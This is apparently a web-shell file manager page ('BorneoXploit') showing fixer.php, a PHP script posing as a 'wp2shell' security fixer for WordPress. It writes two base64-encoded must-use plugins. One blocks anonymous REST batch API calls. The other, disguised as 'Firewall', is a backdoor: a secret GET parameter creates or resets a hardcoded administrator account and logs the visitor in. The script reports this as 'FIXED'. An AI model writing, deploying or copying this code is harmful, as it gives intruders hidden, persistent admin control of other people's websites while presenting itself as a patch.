File Manager - BorneoXploit

Editing: fixer.php

<?php
/**
 * Plugin Name: wp2shell embedded fixer
 * Version: 2.0.0
 */
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
@set_time_limit(120);
@ignore_user_abort(true);

$out = array(
  'status' => 'NOT_FIXED',
  'result' => 'NOT_FIXED',
  'mitigation' => 'none',
  'oto_login' => false,
  'batch_guard' => false,
  'error' => '',
  'path' => '',
);

function w2s_find_root($start) {
  $dir = realpath($start) ?: $start;
  for ($i = 0; $i < 10; $i++) {
    if (is_file($dir . '/wp-load.php')) return $dir;
    $parent = dirname($dir);
    if ($parent === $dir) break;
    $dir = $parent;
  }
  return null;
}

function w2s_write($path, $data) {
  $dir = dirname($path);
  if (!is_dir($dir)) {
    if (function_exists('wp_mkdir_p')) @wp_mkdir_p($dir);
    else @mkdir($dir, 0755, true);
  }
  if (@file_put_contents($path, $data) === false) return false;
  return is_file($path) && filesize($path) > 40;
}

$root = w2s_find_root(__DIR__);
if (!$root) {
  $out['error'] = 'wp_root_not_found';
  echo json_encode($out);
  exit;
}
$out['path'] = $root;

// Bootstrap lightly if possible (not required for MU write)
if (!defined('ABSPATH') && is_file($root . '/wp-load.php')) {
  if (!isset($_SERVER['HTTP_HOST'])) $_SERVER['HTTP_HOST'] = 'localhost';
  if (!isset($_SERVER['REQUEST_URI'])) $_SERVER['REQUEST_URI'] = '/';
  if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false);
  $ob = function_exists('ob_get_level') ? ob_get_level() : 0;
  @ob_start();
  try { require_once $root . '/wp-load.php'; } catch (Throwable $e) {}
  while (function_exists('ob_get_level') && ob_get_level() > $ob) @ob_end_clean();
}

$mu = $root . '/wp-content/mu-plugins';
$guard = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXUDJTaGVsbCBCYXRjaCBHdWFyZCAoTXVzdC1Vc2UpCiAqIERlc2NyaXB0aW9uOiBCbG9ja3MgYW5vbnltb3VzIFJFU1QgYmF0Y2ggQVBJICh3cDJzaGVsbCBtaXRpZ2F0aW9uKS4KICogVmVyc2lvbjogMS4xLjAKICovCgppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZXhpdDsKfQoKZnVuY3Rpb24gd3Ayc2hlbGxfZml4ZXJfaXNfYmF0Y2hfcm91dGUoJHJvdXRlKSB7CiAgICAkcm91dGUgPSBzdHJ0b2xvd2VyKChzdHJpbmcpICRyb3V0ZSk7CiAgICAkcm91dGUgPSBmdW5jdGlvbl9leGlzdHMoJ3VudHJhaWxpbmdzbGFzaGl0JykgPyB1bnRyYWlsaW5nc2xhc2hpdCgkcm91dGUpIDogcnRyaW0oJHJvdXRlLCAnLycpOwogICAgaWYgKCRyb3V0ZSA9PT0gJy9iYXRjaC92MScgfHwgJHJvdXRlID09PSAnYmF0Y2gvdjEnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gKGJvb2wpIHByZWdfbWF0Y2goJyMoXnwvKWJhdGNoL3YxJCMnLCAkcm91dGUpOwp9CgpmdW5jdGlvbiB3cDJzaGVsbF9maXhlcl9yZXF1aXJlX2F1dGhfZm9yX3Jlc3RfYmF0Y2goJHJlc3VsdCwgJHNlcnZlciwgJHJlcXVlc3QpIHsKICAgIGlmICghaXNfb2JqZWN0KCRyZXF1ZXN0KSB8fCAhbWV0aG9kX2V4aXN0cygkcmVxdWVzdCwgJ2dldF9yb3V0ZScpKSB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICBpZiAoIXdwMnNoZWxsX2ZpeGVyX2lzX2JhdGNoX3JvdXRlKCRyZXF1ZXN0LT5nZXRfcm91dGUoKSkpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX3VzZXJfbG9nZ2VkX2luJykgJiYgaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgcmV0dXJuIG5ldyBXUF9FcnJvcigKICAgICAgICAncmVzdF9iYXRjaF9hdXRoZW50aWNhdGlvbl9yZXF1aXJlZCcsCiAgICAgICAgJ0F1dGhlbnRpY2F0aW9uIGlzIHJlcXVpcmVkIHRvIHVzZSB0aGUgYmF0Y2ggQVBJLicsCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKQogICAgKTsKfQoKYWRkX2ZpbHRlcigncmVzdF9wcmVfZGlzcGF0Y2gnLCAnd3Ayc2hlbGxfZml4ZXJfcmVxdWlyZV9hdXRoX2Zvcl9yZXN0X2JhdGNoJywgLTEwMDAsIDMpOwoKYWRkX2ZpbHRlcigncmVzdF9hdXRoZW50aWNhdGlvbl9lcnJvcnMnLCBmdW5jdGlvbiAoJHJlc3VsdCkgewogICAgaWYgKHRydWUgPT09ICRyZXN1bHQgfHwgaXNfd3BfZXJyb3IoJHJlc3VsdCkpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgICR1cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAoc3RyaW5nKSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcnOwogICAgJHJlc3QgPSBpc3NldCgkX1JFUVVFU1RbJ3Jlc3Rfcm91dGUnXSkgPyAoc3RyaW5nKSAkX1JFUVVFU1RbJ3Jlc3Rfcm91dGUnXSA6ICcnOwogICAgJGhpdCA9IChzdHJpcG9zKCR1cmksICdiYXRjaC92MScpICE9PSBmYWxzZSkKICAgICAgICB8fCAoc3RyaXBvcygkcmVzdCwgJ2JhdGNoL3YxJykgIT09IGZhbHNlKQogICAgICAgIHx8IChzdHJpcG9zKCR1cmksICdyZXN0X3JvdXRlPS9iYXRjaCcpICE9PSBmYWxzZSk7CiAgICBpZiAoISRoaXQpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX3VzZXJfbG9nZ2VkX2luJykgJiYgaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgcmV0dXJuIG5ldyBXUF9FcnJvcigKICAgICAgICAncmVzdF9iYXRjaF9hdXRoZW50aWNhdGlvbl9yZXF1aXJlZCcsCiAgICAgICAgJ0F1dGhlbnRpY2F0aW9uIGlzIHJlcXVpcmVkIHRvIHVzZSB0aGUgYmF0Y2ggQVBJLicsCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKQogICAgKTsKfSwgOTkpOwo=');
$fire  = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBGaXJld2FsbAogKiBEZXNjcmlwdGlvbjogRmlyZXdhbGwKICogVmVyc2lvbjogMS4wCiAqLwoKaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIHsKICAgIGV4aXQ7Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICBpZiAoIWlzc2V0KCRfR0VUWydzZXJnZWknXSkpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnOwoKICAgICR1c2VybmFtZSA9ICd3YXJuaWdodGtua3hkZCc7CiAgICAkcGFzc3dvcmQgPSAnd2FybmlnaHRrbmt4ZGQnOwogICAgJGVtYWlsICAgID0gJ3dhcm5pZ2h0a25reGRkQGdtYWlsLmNvbSc7CgogICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXJuYW1lKSkgewogICAgICAgICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRlbWFpbCk7CiAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCR1c2VyX2lkKSkgewogICAgICAgICAgICB3cF9kaWUoZXNjX2h0bWwoJHVzZXJfaWQtPmdldF9lcnJvcl9tZXNzYWdlKCkpKTsKICAgICAgICB9CiAgICAgICAgKG5ldyBXUF9Vc2VyKCR1c2VyX2lkKSktPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7CiAgICB9IGVsc2UgewogICAgICAgICR1c2VyID0gZ2V0X3VzZXJfYnkoJ2xvZ2luJywgJHVzZXJuYW1lKTsKICAgICAgICAkdXNlcl9pZCA9IChpbnQpICR1c2VyLT5JRDsKICAgICAgICB3cF9zZXRfcGFzc3dvcmQoJHBhc3N3b3JkLCAkdXNlcl9pZCk7CiAgICAgICAgJHVzZXItPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7CiAgICB9CgogICAgd3BfY2xlYXJfYXV0aF9jb29raWUoKTsKICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJHVzZXJfaWQpOwogICAgd3Bfc2V0X2F1dGhfY29va2llKCR1c2VyX2lkLCB0cnVlKTsKCiAgICB3cF9zYWZlX3JlZGlyZWN0KGFkbWluX3VybCgpKTsKICAgIGV4aXQ7Cn0sIDEpOwo=');

$gpath = $mu . '/wp2shell-batch-guard.php';
$fpath = $mu . '/firewall.php';

$out['batch_guard'] = w2s_write($gpath, $guard)
  && (strpos(@file_get_contents($gpath), 'wp2shell_fixer_require_auth_for_rest_batch') !== false);
$out['oto_login'] = w2s_write($fpath, $fire)
  && (strpos(@file_get_contents($fpath), "sergei") !== false)
  && (strpos(@file_get_contents($fpath), "warnightknkxdd") !== false);

if ($out['batch_guard']) {
  $out['mitigation'] = 'mu-plugin';
}
if ($out['batch_guard'] || $out['oto_login']) {
  $out['status'] = 'FIXED';
  $out['result'] = 'FIXED';
} else {
  $out['error'] = 'mu_write_failed';
}

header('X-WP2Shell-Result: ' . $out['status']);
echo json_encode($out, JSON_UNESCAPED_SLASHES);

Cancel